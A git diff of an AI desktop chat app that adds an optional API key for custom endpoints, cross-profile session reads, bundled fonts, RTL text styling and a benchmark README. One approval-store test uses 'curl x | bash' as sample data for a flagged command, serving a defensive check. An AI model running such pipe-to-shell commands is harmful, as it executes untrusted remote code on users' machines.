||||
onSave: (
|
||||
envKey: string,
|
||||
value: string,
|
||||
name: string,
|
||||
apiKey?: string
|
||||
) => Promise<{ message?: string; ok: boolean }>
|
||||
options?: ApiKeyOption[]
|
||||
redactedValue?: (envKey: string) => null | string | undefined
|
||||
}) {
|
||||
const { t } = useI18n()
|
||||
const [option, setOption] = useState<ApiKeyOption>(options[0])
|
||||
|
||||
const [option, setOption] = useState<ApiKeyOption>(
|
||||
() => options.find(o => o.envKey === initialEnvKey) ?? options[0]
|
||||
)
|
||||
|
||||
const [value, setValue] = useState('')
|
||||
// Optional endpoint API key, only used by the local / custom endpoint option
|
||||
// (whose `value` is the base URL). Cleared whenever the option changes.
|
||||
const [localKey, setLocalKey] = useState('')
|
||||
const [saving, setSaving] = useState(false)
|
||||
const [error, setError] = useState<null | string>(null)
|
||||
// `options` can change at runtime when callers filter the catalog (e.g. the
|
||||
@@ -657,6 +678,7 @@ export function ApiKeyForm({
|
||||
if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
|
||||
setOption(options[0])
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
}
|
||||
}, [option.envKey, options])
|
||||
@@ -668,6 +690,7 @@ export function ApiKeyForm({
|
||||
const pick = (o: ApiKeyOption) => {
|
||||
setOption(o)
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
requestAnimationFrame(() => {
|
||||
entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
|
||||
@@ -693,10 +716,11 @@ export function ApiKeyForm({
|
||||
|
||||
setSaving(true)
|
||||
setError(null)
|
||||
const result = await onSave(option.envKey, value, option.name)
|
||||
const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
|
||||
|
||||
if (result.ok) {
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
} else {
|
||||
setError(result.message ?? t.onboarding.couldNotSave)
|
||||
}
|
||||
@@ -759,6 +783,17 @@ export function ApiKeyForm({
|
||||
type={isLocal ? 'text' : 'password'}
|
||||
value={value}
|
||||
/>
|
||||
{isLocal ? (
|
||||
<Input
|
||||
autoComplete="off"
|
||||
className="font-mono"
|
||||
onChange={e => setLocalKey(e.target.value)}
|
||||
onKeyDown={e => e.key === 'Enter' && void submit()}
|
||||
placeholder={t.onboarding.localApiKeyPlaceholder}
|
||||
type="password"
|
||||
value={localKey}
|
||||
/>
|
||||
) : null}
|
||||
{error ? <p className="text-xs text-destructive">{error}</p> : null}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -41,7 +41,8 @@ function resetStores() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Dialog as DialogPrimitive } from 'radix-ui'
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { listSessions } from '@/hermes'
|
||||
import { listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { Check, MessageCircle } from '@/lib/icons'
|
||||
@@ -35,7 +35,7 @@ export function SessionPickerDialog({
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
enabled: open,
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
queryKey: ['session-picker', 'sessions']
|
||||
})
|
||||
|
||||
|
||||
BIN
apps/desktop/src/fonts/JetBrainsMono-Bold.woff2
Normal file
BIN
apps/desktop/src/fonts/JetBrainsMono-Italic.woff2
Normal file
BIN
apps/desktop/src/fonts/JetBrainsMono-Regular.woff2
Normal file
@@ -1,6 +1,6 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { listAllProfileSessions, listSessions } from './hermes'
|
||||
import { getSessionMessages, listAllProfileSessions, listSessions } from './hermes'
|
||||
|
||||
const emptySessionsResponse = {
|
||||
limit: 0,
|
||||
@@ -46,4 +46,15 @@ describe('Hermes REST session helpers', () => {
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
|
||||
api.mockResolvedValue({ messages: [], session_id: 'session-1' })
|
||||
|
||||
await getSessionMessages('session-1', 'xiaoxuxu')
|
||||
|
||||
expect(api).toHaveBeenCalledWith({
|
||||
path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
|
||||
profile: 'xiaoxuxu'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
@@ -54,10 +54,10 @@ export type {
|
||||
AnalyticsSkillEntry,
|
||||
AnalyticsSkillsSummary,
|
||||
AnalyticsTotals,
|
||||
BackendUpdateCheckResponse,
|
||||
AudioSpeakResponse,
|
||||
AudioTranscriptionResponse,
|
||||
AuxiliaryModelsResponse,
|
||||
BackendUpdateCheckResponse,
|
||||
ConfigFieldSchema,
|
||||
ConfigSchemaResponse,
|
||||
CronJob,
|
||||
@@ -218,6 +218,7 @@ export function getSessionMessages(id: string, profile?: string | null): Promise
|
||||
const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
|
||||
|
||||
return window.hermesDesktop.api<SessionMessagesResponse>({
|
||||
...(profile ? { profile } : {}),
|
||||
path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
|
||||
})
|
||||
}
|
||||
@@ -343,13 +344,14 @@ export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }>
|
||||
|
||||
export function validateProviderCredential(
|
||||
key: string,
|
||||
value: string
|
||||
value: string,
|
||||
apiKey?: string
|
||||
): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
|
||||
return window.hermesDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
|
||||
...profileScoped(),
|
||||
path: '/api/providers/validate',
|
||||
method: 'POST',
|
||||
body: { key, value }
|
||||
body: { key, value, api_key: apiKey ?? '' }
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -1372,6 +1372,7 @@ export const en: Translations = {
|
||||
getKey: 'Get a key',
|
||||
replaceCurrent: 'Replace current value',
|
||||
pasteApiKey: 'Paste API key',
|
||||
localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
|
||||
couldNotSave: 'Could not save credential.',
|
||||
connecting: 'Connecting',
|
||||
update: 'Update',
|
||||
|
||||
@@ -1041,6 +1041,7 @@ export interface Translations {
|
||||
getKey: string
|
||||
replaceCurrent: string
|
||||
pasteApiKey: string
|
||||
localApiKeyPlaceholder: string
|
||||
couldNotSave: string
|
||||
connecting: string
|
||||
update: string
|
||||
|
||||
@@ -1554,6 +1554,7 @@ export const zh: Translations = {
|
||||
getKey: '获取密钥',
|
||||
replaceCurrent: '替换当前值',
|
||||
pasteApiKey: '粘贴 API 密钥',
|
||||
localApiKeyPlaceholder: 'API 密钥(可选 — 仅当端点需要时填写)',
|
||||
couldNotSave: '无法保存凭据。',
|
||||
connecting: '连接中',
|
||||
update: '更新',
|
||||
|
||||
@@ -58,6 +58,8 @@ export type GatewayEventPayload = {
|
||||
// approval.request (dangerous command / execute_code) — session-keyed
|
||||
command?: string
|
||||
description?: string
|
||||
// False when a tirith content-security warning forbids a permanent allow.
|
||||
allow_permanent?: boolean
|
||||
// secret.request (skill credential capture)
|
||||
env_var?: string
|
||||
prompt?: string
|
||||
|
||||
@@ -5,6 +5,7 @@ import { notify, notifyError } from '@/store/notifications'
|
||||
|
||||
interface ExportSessionParams {
|
||||
sessionId: string
|
||||
profile?: string | null
|
||||
title?: string | null
|
||||
session?: SessionInfo
|
||||
}
|
||||
@@ -31,7 +32,8 @@ export async function exportSession(sessionId: string, params: Omit<ExportSessio
|
||||
}
|
||||
|
||||
try {
|
||||
const { messages } = await getSessionMessages(sessionId)
|
||||
const profile = params.profile ?? params.session?.profile
|
||||
const { messages } = await getSessionMessages(sessionId, profile)
|
||||
|
||||
const payload = {
|
||||
exported_at: new Date().toISOString(),
|
||||
|
||||
@@ -33,6 +33,7 @@ function baseState(overrides: Partial<DesktopOnboardingState> = {}): DesktopOnbo
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false,
|
||||
localEndpoint: false,
|
||||
...overrides
|
||||
}
|
||||
}
|
||||
@@ -233,10 +234,12 @@ describe('OAuth onboarding', () => {
|
||||
const state = $desktopOnboarding.get()
|
||||
expect(state.reason).toBeNull()
|
||||
expect(state.flow.status).toBe('confirming_model')
|
||||
|
||||
if (state.flow.status === 'confirming_model') {
|
||||
expect(state.flow.label).toBe('Nous Portal')
|
||||
expect(state.flow.currentModel).toBe(model)
|
||||
}
|
||||
|
||||
expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
|
||||
})
|
||||
})
|
||||
@@ -283,7 +286,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
@@ -313,7 +316,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
installApiMock(api)
|
||||
const onCompleted = vi.fn()
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
onCompleted,
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
@@ -332,6 +335,46 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
expect($desktopOnboarding.get().configured).toBe(true)
|
||||
})
|
||||
|
||||
it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
|
||||
const calls: { body?: unknown; path: string }[] = []
|
||||
|
||||
const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
|
||||
calls.push({ body, path })
|
||||
|
||||
if (path === '/api/providers/validate') {
|
||||
return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
|
||||
}
|
||||
|
||||
if (path === '/api/model/set') {
|
||||
return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
|
||||
}
|
||||
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
installApiMock(api)
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
expect(result.ok).toBe(true)
|
||||
|
||||
// The probe must receive the key so an auth-gated /v1/models enumerates.
|
||||
const probe = calls.find(c => c.path === '/api/providers/validate')
|
||||
expect(probe?.body).toMatchObject({ key: 'OPENAI_BASE_URL', value: 'https://text.example.com/v1', api_key: 'sk-secret' })
|
||||
|
||||
// And the key must be persisted alongside the endpoint for runtime auth.
|
||||
const assign = calls.find(c => c.path === '/api/model/set')
|
||||
expect(assign?.body).toMatchObject({
|
||||
scope: 'main',
|
||||
provider: 'custom',
|
||||
model: 'gpt-oss-120b',
|
||||
base_url: 'https://text.example.com/v1',
|
||||
api_key: 'sk-secret'
|
||||
})
|
||||
})
|
||||
|
||||
it('reports the runtime reason when resolution still fails after saving', async () => {
|
||||
installApiMock(async ({ path }: { path: string }) => {
|
||||
if (path === '/api/providers/validate') {
|
||||
@@ -361,7 +404,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected gateway method: ${method}`)
|
||||
}
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: failingGateway
|
||||
})
|
||||
|
||||
|
||||
@@ -72,6 +72,11 @@ export interface DesktopOnboardingState {
|
||||
* picker's "Add provider" button). Forces the overlay to show the picker
|
||||
* even when configured === true, and adds a close affordance. */
|
||||
manual: boolean
|
||||
/** True when the overlay was opened specifically to configure a local /
|
||||
* custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
|
||||
* custom endpoint"). Forces the API-key form with the local option
|
||||
* preselected instead of the OAuth picker. */
|
||||
localEndpoint: boolean
|
||||
}
|
||||
|
||||
export interface OnboardingContext {
|
||||
@@ -150,7 +155,8 @@ const INITIAL: DesktopOnboardingState = {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: readCachedSkipped(),
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
}
|
||||
|
||||
export const $desktopOnboarding = atom<DesktopOnboardingState>(INITIAL)
|
||||
@@ -392,6 +398,7 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: false,
|
||||
// `null` opts out of the prompt banner entirely (e.g. when the user already
|
||||
// picked a specific provider and we auto-start its sign-in).
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
@@ -400,6 +407,24 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
void refreshProviders()
|
||||
}
|
||||
|
||||
// Open the onboarding overlay directly on the local / custom endpoint form
|
||||
// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
|
||||
// Model's "Set up custom endpoint" so it lands on a form that can actually
|
||||
// configure the endpoint instead of dead-ending on the OAuth provider list
|
||||
// (`custom` is not an OAuth provider, so the generic manual flow would just
|
||||
// re-show the picker — the original "booted back to the first screen" loop).
|
||||
export function startManualLocalEndpoint(reason: null | string = null) {
|
||||
pendingProviderOAuthId = null
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: true,
|
||||
mode: 'apikey',
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
flow: { status: 'idle' }
|
||||
})
|
||||
}
|
||||
|
||||
// One-shot hand-off used when the dedicated Providers settings page launches a
|
||||
// specific provider's sign-in: we open the manual onboarding overlay AND
|
||||
// remember which provider to start, so the overlay drives that exact OAuth
|
||||
@@ -431,7 +456,7 @@ export function clearPendingProviderOAuth() {
|
||||
export function closeManualOnboarding() {
|
||||
pendingProviderOAuthId = null
|
||||
|
||||
patch({ manual: false, requested: false, flow: { status: 'idle' } })
|
||||
patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function completeDesktopOnboarding() {
|
||||
@@ -448,7 +473,8 @@ export function completeDesktopOnboarding() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
@@ -461,7 +487,7 @@ export function completeDesktopOnboarding() {
|
||||
export function dismissFirstRunOnboarding() {
|
||||
clearPoll()
|
||||
writeCachedSkipped(true)
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, flow: { status: 'idle' } })
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function setOnboardingMode(mode: OnboardingMode) {
|
||||
@@ -701,18 +727,28 @@ export async function recheckExternalSignin(ctx: OnboardingContext) {
|
||||
)
|
||||
}
|
||||
|
||||
export async function saveOnboardingApiKey(envKey: string, value: string, label: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingApiKey(
|
||||
envKey: string,
|
||||
value: string,
|
||||
label: string,
|
||||
ctx: OnboardingContext,
|
||||
// Optional endpoint key — only meaningful for the "Local / custom endpoint"
|
||||
// option, whose primary `value` is the base URL. Ignored for plain API-key
|
||||
// providers (their key IS `value`).
|
||||
endpointApiKey?: string
|
||||
) {
|
||||
const trimmed = value.trim()
|
||||
|
||||
if (!trimmed) {
|
||||
return { ok: false, message: 'Enter a value first.' }
|
||||
}
|
||||
|
||||
// The "Local / custom endpoint" option carries a base URL, not an API key.
|
||||
// It must be wired into config (provider=custom + base_url + model), not
|
||||
// dropped into .env — runtime resolution ignores OPENAI_BASE_URL.
|
||||
// The "Local / custom endpoint" option carries a base URL (in `value`) plus
|
||||
// an optional API key. It must be wired into config (provider=custom +
|
||||
// base_url + model + api_key), not dropped into .env — runtime resolution
|
||||
// ignores OPENAI_BASE_URL.
|
||||
if (envKey === 'OPENAI_BASE_URL') {
|
||||
return saveOnboardingLocalEndpoint(trimmed, ctx)
|
||||
return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
|
||||
}
|
||||
|
||||
// No key validation here on purpose: we previously live-probed the key and
|
||||
@@ -748,14 +784,17 @@ export async function saveOnboardingApiKey(envKey: string, value: string, label:
|
||||
// env var that resolution never consults.
|
||||
//
|
||||
// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
|
||||
// validate probe) so the user only has to paste a URL — no extra UI field.
|
||||
// validate probe). The optional API key is forwarded to the probe (so hosted
|
||||
// endpoints that gate /v1/models behind auth still enumerate models) and
|
||||
// persisted to model.api_key so the runtime can authenticate.
|
||||
//
|
||||
// We deliberately don't route through completeWithModelConfirm: that path
|
||||
// re-assigns the model from /api/model/options WITHOUT a base_url, which would
|
||||
// wipe the base_url we just wrote. We have a concrete model already, so we
|
||||
// verify the runtime directly and finish.
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
|
||||
const url = baseUrl.trim()
|
||||
const key = apiKey.trim()
|
||||
|
||||
if (!url) {
|
||||
return { ok: false, message: 'Enter the endpoint URL first.' }
|
||||
@@ -767,7 +806,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
let model = ''
|
||||
|
||||
try {
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url)
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
|
||||
|
||||
if (!probe.ok && probe.reachable) {
|
||||
return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
|
||||
@@ -790,7 +829,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
}
|
||||
|
||||
try {
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url })
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
|
||||
await ctx.requestGateway('reload.env').catch(() => undefined)
|
||||
|
||||
const runtime = await checkRuntime(ctx)
|
||||
|
||||
@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
|
||||
|
||||
expect($approvalRequest.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('carries allowPermanent so the bar can hide "Always allow"', () => {
|
||||
setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
|
||||
|
||||
expect($approvalRequest.get()?.allowPermanent).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('sudo prompt store', () => {
|
||||
|
||||
@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
|
||||
// resolved via approval.respond {choice, session_id}). It carries no request_id,
|
||||
// unlike sudo/secret which are _block()-style request/response.
|
||||
export interface ApprovalRequest extends KeyedPrompt {
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
allowPermanent?: boolean
|
||||
command: string
|
||||
description: string
|
||||
}
|
||||
|
||||
@@ -17,6 +17,30 @@
|
||||
src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
|
||||
}
|
||||
|
||||
/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
|
||||
regular face's metrics instead of squeezing against a system fallback. */
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--color-background: var(--dt-background);
|
||||
--color-foreground: var(--dt-foreground);
|
||||
@@ -823,6 +847,37 @@ canvas {
|
||||
content's --message-text-indent). No extra prose indent — a single gutter
|
||||
reads cleaner than a ragged tool-vs-reply column. */
|
||||
|
||||
/* RTL/bidi chat text (#44150): each block resolves its own base direction from
|
||||
its first strong char (UAX#9 plaintext). text-align:start makes that resolved
|
||||
direction drive alignment too — load-bearing, since the user bubble pins
|
||||
text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
|
||||
issue asks not to flip the whole UI). Covers assistant prose, user lines, and
|
||||
both composers (main + edit share composer-rich-input). */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
|
||||
[data-slot='aui_user-inline-text'],
|
||||
[data-slot='composer-rich-input'] {
|
||||
unicode-bidi: plaintext;
|
||||
text-align: start;
|
||||
}
|
||||
|
||||
/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
|
||||
makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
|
||||
then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
|
||||
aren't reordered by the surrounding RTL run. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
|
||||
[data-slot='aui_user-inline-code'],
|
||||
[data-slot='aui_assistant-message-content'] .aui-md .katex {
|
||||
direction: ltr;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
|
||||
[data-slot='aui_user-fence'] {
|
||||
direction: ltr;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
[data-slot='aui_user-message-root'] {
|
||||
top: var(--sticky-human-top);
|
||||
}
|
||||
|
||||
@@ -638,6 +638,10 @@ export interface AuxiliaryModelsResponse {
|
||||
}
|
||||
|
||||
export interface ModelAssignmentRequest {
|
||||
/** Optional API key for a custom/local endpoint. Persisted to model.api_key
|
||||
* (where the runtime reads it) for self-hosted endpoints that require auth.
|
||||
* Only honored for custom/local providers on the main slot. */
|
||||
api_key?: string
|
||||
/** OpenAI-compatible endpoint URL. Only honored for custom/local providers
|
||||
* on the main slot — wires a self-hosted endpoint into runtime resolution. */
|
||||
base_url?: string
|
||||
|
||||
3
bench/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
node_modules/
|
||||
.cache/
|
||||
*.cpuprofile
|
||||
148
bench/README.md
Normal file
@@ -0,0 +1,148 @@
|
||||
# TUI benchmark suite — Ink (`ui-tui`) vs OpenTUI (`ui-opentui`)
|
||||
|
||||
Methodology (settled, binding): `docs/plans/opentui-bench-suite.md`. This
|
||||
directory is the implementation: real binaries over a real node-pty PTY
|
||||
(120×40, xterm-256color), a fake gateway substituted via `HERMES_PYTHON`
|
||||
(ZERO changes to either UI), external `/proc` sampling, cgroup-v2 memory caps.
|
||||
No tmux anywhere in measurement — except the `pipeline` cell, whose entire
|
||||
point is measuring the tmux emulator leg (see its note below).
|
||||
|
||||
## Pieces
|
||||
|
||||
| file | role |
|
||||
|---|---|
|
||||
| `fake-gateway.mjs` | NDJSON JSON-RPC gateway stand-in. Both UIs spawn it as `$HERMES_PYTHON -m tui_gateway.entry`. Answers every startup RPC with canned results, then streams the fixture (burst / paced / load-then-idle). Never writes stderr (the UIs render gateway stderr). |
|
||||
| `fixture-stream.mjs` | Serializes the deterministic lumpy-turn fixture (`ui-opentui/scripts/fixture.ts`, imported directly via Node ≥26 type stripping — no port) to NDJSON. Cached under `.cache/`, sha256-stamped. |
|
||||
| `harness.mjs` | One scenario = one UI boot: node-pty PTY, tight drain loop (event-loop starvation probe, 10ms budget asserted), `/proc/PID/{smaps_rollup,status,stat}` samples on 100-msg boundaries (UI PID only), `systemd-run --user --scope -p MemoryMax=… -p MemorySwapMax=0` caps, SGR wheel injection, resize-jiggle digest capture. |
|
||||
| `run.mjs` | The matrix runner (protocol: determinism gate first, sequential SUTs, randomized per-rep config order, 10s cooldowns, load gate). |
|
||||
| `render.mjs` | `results/*.json` → self-contained `report.html` (inline SVG, no CDN) + PNGs in `report-assets/`. |
|
||||
|
||||
## Running cells
|
||||
|
||||
Node 26 is required (`BENCH_NODE_BIN` overrides the default fnm path). Build
|
||||
both UIs first; results land in `results/<utc>-<sha7>-<cell>-<ui>-<config>-r<rep>.json`.
|
||||
|
||||
```sh
|
||||
cd ui-opentui && node scripts/build.mjs && cd ../ui-tui && node scripts/build.mjs && cd ../bench
|
||||
npm install # node-pty (bench-local devDep)
|
||||
|
||||
node run.mjs --cell gate # determinism gate (digest replay ×2 per UI) — run FIRST
|
||||
node run.mjs --cell mem3000 # clean memory runs, 3 reps × 3 configs, 2GB cap
|
||||
node run.mjs --cell slope10k # one 10k-msg slope run: ink + otui-uncapped (cap-hit IS a datapoint)
|
||||
node run.mjs --cell nodes # instrumented node counts (ink fd-3 sampler; opentui headless walk)
|
||||
node run.mjs --cell cpu # paced 30 ev/s streaming ×3
|
||||
node run.mjs --cell scroll # SGR wheel 30Hz×15s on a 3000-msg transcript ×3
|
||||
node run.mjs --cell startup # ×10, fake gateway
|
||||
node run.mjs --cell chaos # stability: gw SIGKILL mid-stream/mid-tool, SIGSTOP 30s, resize storm, PTY EOF — 5 scenarios × {ink, otui-capped}
|
||||
node run.mjs --cell pipeline # total-pipeline CPU: UI inside a DEDICATED tmux server (the user's real emulator leg), /proc utime+stime for UI + gateway + tmux @1Hz
|
||||
node run.mjs --cell echo # M7 input latency: 30 keystrokes → first echoed paint (p50/p95/p99) + one \r submit → first-token-paint
|
||||
node render.mjs # report.html + report-assets/*.png
|
||||
```
|
||||
|
||||
### Chaos / pipeline / echo cell notes
|
||||
|
||||
- **chaos** (5 scenarios × ink/otui-capped, one JSON each, `summary.chaos`):
|
||||
gateway death is SELF-inflicted (`HERMES_FAKE_DIE_AT=<msg>:<kill|tool-kill>`
|
||||
→ SIGKILL at fixture msg N, or at the first `tool.*` event after N) because
|
||||
self-termination is deterministic vs racy external timing; a die-once flag
|
||||
file keeps the auto-heal respawn from dying again. SIGSTOP (gw-stop) is
|
||||
external via `HERMES_FAKE_PIDFILE`. Respawn detection = the respawned
|
||||
gateway REWRITING that pidfile. Both UIs auto-heal (budget 3 respawns/60s):
|
||||
OpenTUI with exponential backoff (`ui-opentui/src/boundary/gateway/liveGateway.ts`
|
||||
`onExit`), Ink immediately (`ui-tui/src/app/useMainApp.ts` `exitHandler`).
|
||||
`transcript_preserved` = after a forced full repaint (resize jiggle), the
|
||||
screen still shows a recent pre-kill turn (`const xN` fixture markers).
|
||||
`summary.result` keeps its usual semantics — for pty-eof the UI *should*
|
||||
die, so read `summary.chaos`, not `summary.result`, for the verdicts.
|
||||
- **pipeline**: the ONLY cell that uses tmux — deliberately. The user's real
|
||||
stack runs the TUI inside tmux (verified via /proc environ), so a dedicated
|
||||
`tmux -L hermes-bench-<runId> -f /dev/null` server is the locally measurable
|
||||
terminal-emulator leg. The harness PTY attaches a client (unattached tmux
|
||||
skips most output work; `data_flowing` asserts bytes actually arrived) and
|
||||
samples /proc utime+stime at 1Hz for UI, fake gateway, and the tmux server
|
||||
(`summary.pipeline.cpu_s`). Only that socket's server is killed at the end.
|
||||
Note tmux re-encodes the UI's output for the outer client, so `pty_bytes_total`
|
||||
here is the post-tmux byte count, not the UI's raw output.
|
||||
- **frame pacing (M6)**: cpu-paced and pipeline record every PTY chunk
|
||||
timestamp+size; bursts separated by >4ms gaps are frames →
|
||||
`summary.frame_pacing` (fps, interframe p50/p95, bytes/frame p50/p95,
|
||||
coalesced count). Scroll runs record the wheel phase only. There is no
|
||||
env-gated renderer frame counter in ui-opentui to use as ground truth —
|
||||
@opentui/core keeps `renderStats.fps` internally but nothing exports it;
|
||||
wiring it would need a ui-source patch (out of scope here).
|
||||
- **echo (M7)**: keystroke chars avoid `u`/`p`/`s`/digits (the OpenTUI status
|
||||
clock repaints `up: Ns` at 1Hz) and matching runs on ANSI-stripped output
|
||||
(raw chunks are full of CSI final letters). The submit leg works because the
|
||||
fake gateway answers `prompt.submit` with a tiny streamed reply carrying the
|
||||
marker token `zqxjv` when `HERMES_FAKE_SUBMIT_RESPONSE=1`.
|
||||
|
||||
Configs: `ink` · `otui-capped` (`HERMES_TUI_MAX_MESSAGES=3000`, the default) ·
|
||||
`otui-uncapped` (`=100000`). Launch parity with `hermes_cli/main.py`:
|
||||
Ink = `node --expose-gc ui-tui/dist/entry.js`, OpenTUI =
|
||||
`node --experimental-ffi --no-warnings ui-opentui/dist/main.js`, both with
|
||||
`NODE_OPTIONS=--max-old-space-size=<heap>` (8192 on the unconstrained host —
|
||||
what the launcher picks outside a container).
|
||||
|
||||
## E3 (constrained Docker survival)
|
||||
|
||||
`E3-lite` runs the same harness inside a generic `node:26` container (NOT the
|
||||
